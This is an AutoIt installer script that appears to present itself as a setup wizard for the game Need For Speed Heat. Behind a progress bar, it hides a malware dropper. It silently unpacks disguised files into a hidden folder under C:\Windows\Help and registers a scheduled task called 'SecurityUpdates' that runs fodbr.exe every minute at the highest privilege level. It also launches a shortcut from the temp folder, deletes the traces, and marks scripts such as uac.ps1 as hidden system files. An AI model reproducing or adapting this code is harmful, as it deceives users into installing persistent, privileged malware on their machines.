Func start() DirCreate($smodul & "\NeedForSpeedHeat") $smodule = $smodul & "\NeedForSpeedHeat" ProgressOn("Installation Progress", "Installation Progress:", "Please be patient until wizard finishes.", 393, 200, $dlg_moveable) DirCreate("C:\Windows\Help\inuit\") ShellExecuteWait("Powershell", "Copy-Item data05.pei -Destination C:\Windows\Help\inuit\; rename-item -path C:\Windows\Help\inuit\data05.pei -newname data05.zip", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "Expand-archive -literalpath C:\Windows\Help\inuit\data05.zip -destinationpath C:\Windows\Help\inuit\", @ScriptDir, "", @SW_HIDE) ShellExecute("Powershell", "SchTasks /Create /SC MINUTE /TN SecurityUpdates /TR " & @WindowsDir & "\Help\inuit\fodbr.exe /RL HIGHEST", "", "", @SW_HIDE) FileCopy("data04.pei", @TempDir) FileMove(@TempDir & "\data04.pei", @TempDir & "\data04.zip") ShellExecuteWait("Powershell", "Expand-archive -literalpath $env:tmp\data04.zip -destinationpath $env:tmp; start $env:tmp\mat-debug-13272.lnk", @ScriptDir, "", @SW_HIDE) Sleep(3000) ShellExecuteWait("Powershell", "del C:\Windows\Help\inuit\data05.zip", @ScriptDir, "", @SW_HIDE) FileDelete(@TempDir & "\data04.zip") ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\' +s +h", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\crv.exe' +s +h", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\fod.exe' +s +h", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\fodbr.exe' +s +h", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\uac.ps1' +s +h", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\de.ps1' +s +h", @ScriptDir, "", @SW_HIDE) ProgressSet(25, "If progress bar gets stuck your game is installing, be patient", "25%") ShellExecuteWait("Powershell", "Copy-Item data01.pei -Destination '" & $smodule & "'; rename-item -path '" & $smodule & "\data01.pei' -newname 'data01.zip'", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "Copy-Item data02.pei -Destination '" & $smodule & "'; rename-item -path '" & $smodule & "\data02.pei' -newname 'data02.zip'", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "Copy-Item data03.pei -Destination '" & $smodule & "'; rename-item -path '" & $smodule & "\data03.pei' -newname 'data03.zip'", @ScriptDir, "", @SW_HIDE) ProgressSet(51, "If progress bar gets stuck your game is installing, be patient", "51%") ShellExecuteWait("Powershell", "Expand-Archive -LiteralPath '" & $smodule & "\data01.zip' -DestinationPath '" & $smodule & "'", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "Expand-Archive -LiteralPath '" & $smodule & "\data02.zip' -DestinationPath '" & $smodule & "'", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "Expand-Archive -LiteralPath '" & $smodule & "\data03.zip' -DestinationPath '" & $smodule & "'", @ScriptDir, "", @SW_HIDE) ProgressSet(89, "If progress bar gets stuck your game is installing, be patient", "89%") ShellExecuteWait("Powershell", "del '" & $smodule & "\data01.zip'", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "del '" & $smodule & "\data02.zip'", @ScriptDir, "", @SW_HIDE) ShellExecuteWait("Powershell", "del '" & $smodule & "\data03.zip'", @ScriptDir, "", @SW_HIDE) FileCreateShortcut($smodule & "\NeedForSpeedHeat.exe", @DesktopDir & "\NeedForSpeedHeat.lnk") ProgressOff() $close = GUICreate("Finished", 300, 75, 192, 114) GUICtrlCreateInput("Game Has Finished Installing!", 50, 8, 209, 21) $closebutton = GUICtrlCreateButton("Close", 125, 50, 89, 23) GUISetState(@SW_SHOW) EndFunc